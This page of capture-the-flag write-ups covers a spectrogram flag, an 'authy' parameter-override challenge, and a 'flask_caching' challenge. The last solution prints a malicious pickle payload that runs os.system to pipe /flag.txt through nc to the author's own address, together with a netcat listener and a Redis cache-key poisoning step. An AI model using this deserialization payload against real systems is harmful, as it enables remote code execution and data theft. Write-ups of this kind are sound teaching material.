Cookie Consent by PrivacyPolicies.com

Latest entries | Page 9


DownUnderCTF 2020: On the spectrum

On the spectrum

100 points

My friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent?

Author: scsc

Attached files:

  • message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)

Solution

I've used Sonic Visualizer to open the provided file. With some alignments I've managed to visualize the flag hidden in the spectrum.



DUCTF{m4yb3_n0t_s0_hidd3n}

CSAW CTF Qualification Round 2020: authy

authy

150 points

Check out this new storage application that your government has started! It's supposed to be pretty secure since everything is authenticated...

curl crypto.chal.csaw.io:5003

handout.py

#!/usr/bin/env python3
import struct
import hashlib
import base64
import flask

# flag that is to be returned once authenticated
FLAG = ":p"

# secret used to generate HMAC with
SECRET = ":p".encode()

app = flask.Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def home():
    return """
This is a secure and private note-taking app sponsored by your favorite Nation-State.
For citizens' convenience, we offer to encrypt your notes with OUR own password! How awesome is that?
Just give us the ID that we generate for you, and we'll happily decrypt it back for you!

Unfortunately we have prohibited the use of frontend design in our intranet, so the only way you can interact with it is our API.

/new

    DESCRIPTION:
        Adds a new note and uses our Super Secure Cryptography to encrypt it.

    POST PARAMS:
        :author: your full government-issued legal name
        :note: the message body you want to include. We won't read it :)

    RETURN PARAMS:
        :id: an ID protected by password  that you can use to retrieve and decrypt the note.
        :integrity: make sure you give this to validate your ID, Fraud is a high-level offense!


/view
    DESCRIPTION:
        View and decrypt the contents of a note stored on our government-sponsored servers.

    POST PARAMS:
        :id: an ID that you can use to retrieve and decrypt the note.
        :integrity: make sure you give this to validate your ID, Fraud is a high-level offense!

    RETURN PARAMS:
        :message: the original unadultered message you stored on our service.
"""

@app.route("/new", methods=["POST"])
def new():
    if flask.request.method == "POST":

        payload = flask.request.form.to_dict()
        if "author" not in payload.keys():
            return ">:(\n"
        if "note" not in payload.keys():
            return ">:(\n"

        if "admin" in payload.keys():
            return ">:(\n>:(\n"
        if "access_sensitive" in payload.keys():
            return ">:(\n>:(\n"

        info = {"admin": "False", "access_sensitive": "False" }
        info.update(payload)
        info["entrynum"] = 783

        infostr = ""
        for pos, (key, val) in enumerate(info.items()):
            infostr += "{}={}".format(key, val)
            if pos != (len(info) - 1):
                infostr += "&"

        infostr = infostr.encode()

        identifier = base64.b64encode(infostr).decode()

        hasher = hashlib.sha1()
        hasher.update(SECRET + infostr)
        return "Successfully added {}:{}\n".format(identifier, hasher.hexdigest())


@app.route("/view", methods=["POST"])
def view():

    info = flask.request.form.to_dict()
    if "id" not in info.keys():
        return ">:(\n"
    if "integrity" not in info.keys():
        return ">:(\n"

    identifier = base64.b64decode(info["id"]).decode()
    checksum = info["integrity"]

    params = identifier.replace('&', ' ').split(" ")
    note_dict = { param.split("=")[0]: param.split("=")[1]  for param in params }

    encode = base64.b64decode(info["id"]).decode('unicode-escape').encode('ISO-8859-1')
    hasher = hashlib.sha1()
    hasher.update(SECRET + encode)
    gen_checksum = hasher.hexdigest()

    if checksum != gen_checksum:
        return ">:(\n>:(\n>:(\n"

    try:
        entrynum = int(note_dict["entrynum"])
        if 0 <= entrynum <= 10:

            if (note_dict["admin"] not in [True, "True"]):
                return ">:(\n"
            if (note_dict["access_sensitive"] not in [True, "True"]):
                return ">:(\n"

            if (entrynum == 7):
                return "\nAuthor: admin\nNote: You disobeyed our rules, but here's the note: " + FLAG + "\n\n"
            else:
                return "Hmmmmm...."

        else:
            return """\nAuthor: {}
Note: {}\n\n""".format(note_dict["author"], note_dict["note"])

    except Exception:
        return ">:(\n"

if __name__ == "__main__":
    app.run()

Solution

My first idea was to make a sha1 collision. But in the meanwhile (when attempt to calculate collisions was running) I read the code once again and figured out that all interesting values can be overridden by payload.

I've created below payload:

And attempted to retrieve my message:

CSAW CTF Qualification Round 2020: flask_caching

flask_caching

300 points

cache all the things (this is python3)

http://web.chal.csaw.io:5000

app.py

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False

cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])


@app.route('/', methods=['GET', 'POST'])
def notes_post():
    if request.method == 'GET':
        return '''
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>
        </form>
        '''

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get('title', default=None)
    content = request.files.get('content', default=None)

    if title is None or content is None:
        return 'Missing fields', 400

    content = content.stream.read()

    if len(title) > 100 or len(content) > 256:
        return 'Too long', 400

    redis.setex(name=title, value=content, time=3)  # Note will only live for max 30 seconds

    return 'Thanks!'


# This caching stuff is cool! Lets make a bunch of cached functions.

@cache.cached(timeout=3)
def _test0():
    return 'test'
@app.route('/test0')
def test0():
    _test0()
    return 'test'
@cache.cached(timeout=3)
def _test1():
    return 'test'
@app.route('/test1')
def test1():
    _test1()
    return 'test'
@cache.cached(timeout=3)
def _test2():
    return 'test'
@app.route('/test2')
def test2():
    _test2()
    return 'test'
@cache.cached(timeout=3)
def _test3():
    return 'test'
@app.route('/test3')
def test3():
    _test3()
    return 'test'
@cache.cached(timeout=3)
def _test4():
    return 'test'
@app.route('/test4')
def test4():
    _test4()
    return 'test'
@cache.cached(timeout=3)
def _test5():
    return 'test'
@app.route('/test5')
def test5():
    _test5()
    return 'test'
@cache.cached(timeout=3)
def _test6():
    return 'test'
@app.route('/test6')
def test6():
    _test6()
    return 'test'
@cache.cached(timeout=3)
def _test7():
    return 'test'
@app.route('/test7')
def test7():
    _test7()
    return 'test'
@cache.cached(timeout=3)
def _test8():
    return 'test'
@app.route('/test8')
def test8():
    _test8()
    return 'test'
@cache.cached(timeout=3)
def _test9():
    return 'test'
@app.route('/test9')
def test9():
    _test9()
    return 'test'
@cache.cached(timeout=3)
def _test10():
    return 'test'
@app.route('/test10')
def test10():
    _test10()
    return 'test'
@cache.cached(timeout=3)
def _test11():
    return 'test'
@app.route('/test11')
def test11():
    _test11()
    return 'test'
@cache.cached(timeout=3)
def _test12():
    return 'test'
@app.route('/test12')
def test12():
    _test12()
    return 'test'
@cache.cached(timeout=3)
def _test13():
    return 'test'
@app.route('/test13')
def test13():
    _test13()
    return 'test'
@cache.cached(timeout=3)
def _test14():
    return 'test'
@app.route('/test14')
def test14():
    _test14()
    return 'test'
@cache.cached(timeout=3)
def _test15():
    return 'test'
@app.route('/test15')
def test15():
    _test15()
    return 'test'
@cache.cached(timeout=3)
def _test16():
    return 'test'
@app.route('/test16')
def test16():
    _test16()
    return 'test'
@cache.cached(timeout=3)
def _test17():
    return 'test'
@app.route('/test17')
def test17():
    _test17()
    return 'test'
@cache.cached(timeout=3)
def _test18():
    return 'test'
@app.route('/test18')
def test18():
    _test18()
    return 'test'
@cache.cached(timeout=3)
def _test19():
    return 'test'
@app.route('/test19')
def test19():
    _test19()
    return 'test'
@cache.cached(timeout=3)
def _test20():
    return 'test'
@app.route('/test20')
def test20():
    _test20()
    return 'test'
@cache.cached(timeout=3)
def _test21():
    return 'test'
@app.route('/test21')
def test21():
    _test21()
    return 'test'
@cache.cached(timeout=3)
def _test22():
    return 'test'
@app.route('/test22')
def test22():
    _test22()
    return 'test'
@cache.cached(timeout=3)
def _test23():
    return 'test'
@app.route('/test23')
def test23():
    _test23()
    return 'test'
@cache.cached(timeout=3)
def _test24():
    return 'test'
@app.route('/test24')
def test24():
    _test24()
    return 'test'
@cache.cached(timeout=3)
def _test25():
    return 'test'
@app.route('/test25')
def test25():
    _test25()
    return 'test'
@cache.cached(timeout=3)
def _test26():
    return 'test'
@app.route('/test26')
def test26():
    _test26()
    return 'test'
@cache.cached(timeout=3)
def _test27():
    return 'test'
@app.route('/test27')
def test27():
    _test27()
    return 'test'
@cache.cached(timeout=3)
def _test28():
    return 'test'
@app.route('/test28')
def test28():
    _test28()
    return 'test'
@cache.cached(timeout=3)
def _test29():
    return 'test'
@app.route('/test29')
def test29():
    _test29()
    return 'test'
@cache.cached(timeout=3)
def _test30():
    return 'test'
@app.route('/test30')
def test30():
    _test30()
    return 'test'


if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

Solution

Idea behind the solution is to overwrite one of the cached test functions with my own function, which will execute malicious code.

I've created python program to prepare payload file:

import pickle

class Malicious:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt | nc MYIPADDRESS 4444',))

malicious_function = Malicious()
payload = pickle.dumps(malicious_function)
f = open('payload', 'wb')
f.write(b'!' + payload)
f.close()

Above code after execution left me a nice payload file that can be uploaded to the application

I didn't want to read all the flask_caching code, so I've started redis in docker (sudo docker run -p 6379:6379 -d --name redis redis) and the app to get the pattern of cachekey ;-) (it was achieved with redis-cli monitor)

Ok, at this point we got payload, we know the pattern of cachekey, one more thing is needed - nc -lvp 4444 running on my computer.

Let's try to submit the payload...

...and execute it by requesting http://web.chal.csaw.io:5000/test21

Surprisely, flag popped up on my netcat ;-)